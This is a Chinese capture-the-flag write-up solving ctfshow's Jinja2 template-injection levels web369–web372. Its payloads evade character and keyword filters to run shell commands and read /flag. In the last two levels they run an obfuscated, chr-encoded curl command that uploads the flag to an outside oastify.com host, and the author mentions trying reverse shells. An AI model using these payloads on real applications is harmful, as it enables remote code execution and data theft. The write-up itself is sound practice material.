ctfshow-web入门-SSTI(web369-web372)下
目录
1、web369
2、web370
3、web371
4、web372
1、web369
完全过滤了 request
双大括号也过滤了
包括前面的单双引号、中括号、下划线都是过滤了的
能构造出一些东西
调用属性:
?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%print(lipsum|attr(gl))%}
调用键:
?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%set o=(((lipsum|string|list).pop(7))~((lipsum|string|list).pop(27)))%}
{%print((lipsum|attr(gl)).get(o))%}
调用方法:
?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%set o=(((lipsum|string|list).pop(7))~((lipsum|string|list).pop(27)))%}
{%print(((lipsum|attr(gl)).get(o)).popen)%}
构造 payload 命令执行:
?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%set o=(((lipsum|string|list).pop(7))~((lipsum|string|list).pop(27)))%}
{%set l=(((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27)))%}
{%print((((lipsum|attr(gl)).get(o)).popen)(l).read())%}
ls 执行成功
但是 flag 在根目录,斜杠 / 这个符号在我们的 lipsum 里面没有
因此我们得换一种构造方法,这里使用 join 过滤器:
?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%set o=(((lipsum|string|list).pop(7))~((lipsum|string|list).pop(27)))%}
{%print((((lipsum|attr(gl)).get(o)).popen)(dict(l=a,s=b)|join).read())%}
这里单个命令都好执行
但是问题又来了,空格怎么搞
试了一些绕过方法,都不行
并不是绕过方法不行,是一些字符在这里无法使用,本地测试:
可以发现 / $ < 这些符号会导致环境崩溃
那么我们还是就第一种方法一个一个构造吧
斜杠符号我们在这里找:
定位具体位置:
?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%print((lipsum|attr(gl)|string|list).pop(431))%}
拿下
最终 payload:
?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%set o=(((lipsum|string|list).pop(7))~((lipsum|string|list).pop(27)))%}
{%set cmd=(((lipsum|string|list).pop(4))~((lipsum|string|list).pop(15))~((lipsum|string|list).pop(5))~((lipsum|string|list).pop(9))~((lipsum|attr(gl)|string|list).pop(431))~((lipsum|string|list).pop(1))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(15))~((lipsum|string|list).pop(10)))%}
{%print((((lipsum|attr(gl)).get(o)).popen)(cmd).read())%}
看了其他wp发现这道题有更简单的方法,大家自行摸索,我这里还是做复杂了
2、web370
新增过滤了数字
上面的 payload 用到了 1 4 5 7 9 10 15 18 19 27 31 40 431
基于上面的 payload,替换数字后可以得到如下 payload:
?name=
{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set ten=dict(cccccccccc=a)|join|count%}
{%set onefiv=(three*five)%}
{%set oneeig=(three*six)%}
{%set onenin=(three*six%2Bone)%}
{%set twoeve=(three*nine)%}
{%set threeone=(twoeve%2Bfour)%}
{%set fourty=(four*ten)%}
{%set fouroo=(fourty*ten%2Bthreeone)%}
{%set gl=(((lipsum|string|list).pop(oneeig))~((lipsum|string|list).pop(oneeig))~((lipsum|string|list).pop(ten))~((lipsum|string|list).pop(onenin))~((lipsum|string|list).pop(seven))~((lipsum|string|list).pop(fourty))~((lipsum|string|list).pop(threeone))~((lipsum|string|list).pop(onenin))~((lipsum|string|list).pop(twoeve))~((lipsum|string|list).pop(oneeig))~((lipsum|string|list).pop(oneeig)))%}
{%set o=(((lipsum|string|list).pop(seven))~((lipsum|string|list).pop(twoeve)))%}
{%set cmd=(((lipsum|string|list).pop(four))~((lipsum|string|list).pop(onefiv))~((lipsum|string|list).pop(five))~((lipsum|string|list).pop(nine))~((lipsum|attr(gl)|string|list).pop(fouroo))~((lipsum|string|list).pop(one))~((lipsum|string|list).pop(onenin))~((lipsum|string|list).pop(onefiv))~((lipsum|string|list).pop(ten)))%}
{%print((((lipsum|attr(gl)).get(o)).popen)(cmd).read())%}
但是由于每次重启环境后 (lipsum|string) 的地址会变,字符也就有些不一样了
因此我们前面构造的字符就会有区别,需要重新定位字符的位置
它这里还过滤了一些其他字符串
重新找一遍太折腾了,我们这里换 payload,不再构造数字了,直接用全角数字替换半角数字
前面说过拼接出来的字符斜杠这些会导致环境崩溃,而 flag 是在根目录下面肯定需要用到斜杠
这里我们使用 chr 函数,payload:
{%set a=(lipsum|string|list).pop(18)%}
{%set gl=(a,a,dict(globals=b)|join,a,a)|join%}
{%set bu=(a,a,dict(builtins=b)|join,a,a)|join%}
{%set chr=((lipsum|attr(gl)).get(bu).chr)%}
{%set flag=(chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103))%}
{%print((lipsum|attr(gl)).get(bu).open(flag).read())%}
当然,我们也可以按照上一题 {%print((lipsum|attr(gl)|string|list).pop(431))%} 的方法定位斜杠的位置,继续做拼接,按理来说是可行的,各位自行尝试,我只是觉得那样做复杂了。
3、web371
新增过滤 print
没有回显的话我们考虑外带攻击或者反弹 shell
这里以外带为例,payload:
?name=
{%set o=(dict(o=a,s=b)|join)%}
{%set a=(lipsum|string|list).pop(24)%}
{%set gl=(a,a,dict(globals=b)|join,a,a)|join%}
{%set bu=(a,a,dict(builtins=b)|join,a,a)|join%}
{%set chr=((lipsum|attr(gl)).get(bu).chr)%}
{%set cmd=chr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(45)%2bchr(88)%2bchr(32)%2bchr(80)%2bchr(79)%2bchr(83)%2bchr(84)%2bchr(32)%2bchr(45)%2bchr(70)%2bchr(32)%2bchr(120)%2bchr(120)%2bchr(61)%2bchr(64)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(56)%2bchr(117)%2bchr(51)%2bchr(104)%2bchr(100)%2bchr(51)%2bchr(97)%2bchr(53)%2bchr(105)%2bchr(48)%2bchr(121)%2bchr(105)%2bchr(52)%2bchr(117)%2bchr(49)%2bchr(105)%2bchr(109)%2bchr(98)%2bchr(48)%2bchr(120)%2bchr(110)%2bchr(104)%2bchr(49)%2bchr(98)%2bchr(52)%2bchr(50)%2bchr(97)%2bchr(116)%2bchr(121)%2bchr(111)%2bchr(109)%2bchr(100)%2bchr(46)%2bchr(111)%2bchr(97)%2bchr(115)%2bchr(116)%2bchr(105)%2bchr(102)%2bchr(121)%2bchr(46)%2bchr(99)%2bchr(111)%2bchr(109)%}
{%if((lipsum|attr(gl)).get(o).popen(cmd))%}
myon
{%endif%}
4、web372
新增过滤 count
如果我们采用构造数字的方法,可以用 length 替代
有点麻烦,我们还是直接采用全角数字
上一题演示的是外带,这里我们尝试反弹 shell
可以接收到请求但是无法常规的反弹 shell , nc 反弹也没有成功
那就还是继续外带吧,payload:
?name=
{%set o=(dict(o=a,s=b)|join)%}
{%set a=(lipsum|string|list).pop(24)%}
{%set gl=(a,a,dict(globals=b)|join,a,a)|join%}
{%set bu=(a,a,dict(builtins=b)|join,a,a)|join%}
{%set chr=((lipsum|attr(gl)).get(bu).chr)%}
{%set cmd=chr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(45)%2bchr(88)%2bchr(32)%2bchr(80)%2bchr(79)%2bchr(83)%2bchr(84)%2bchr(32)%2bchr(45)%2bchr(70)%2bchr(32)%2bchr(120)%2bchr(120)%2bchr(61)%2bchr(64)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(118)%2bchr(114)%2bchr(113)%2bchr(52)%2bchr(97)%2bchr(113)%2bchr(55)%2bchr(115)%2bchr(102)%2bchr(110)%2bchr(118)%2bchr(53)%2bchr(49)%2bchr(104)%2bchr(121)%2bchr(53)%2bchr(106)%2bchr(121)%2bchr(120)%2bchr(107)%2bchr(107)%2bchr(52)%2bchr(121)%2bchr(121)%2bchr(49)%2bchr(112)%2bchr(55)%2bchr(103)%2bchr(118)%2bchr(57)%2bchr(106)%2bchr(121)%2bchr(46)%2bchr(111)%2bchr(97)%2bchr(115)%2bchr(116)%2bchr(105)%2bchr(102)%2bchr(121)%2bchr(46)%2bchr(99)%2bchr(111)%2bchr(109)%}
{%if((lipsum|attr(gl)).get(o).popen(cmd))%}
myon
{%endif%}
SSTI 注入至此结束
My6n,20241115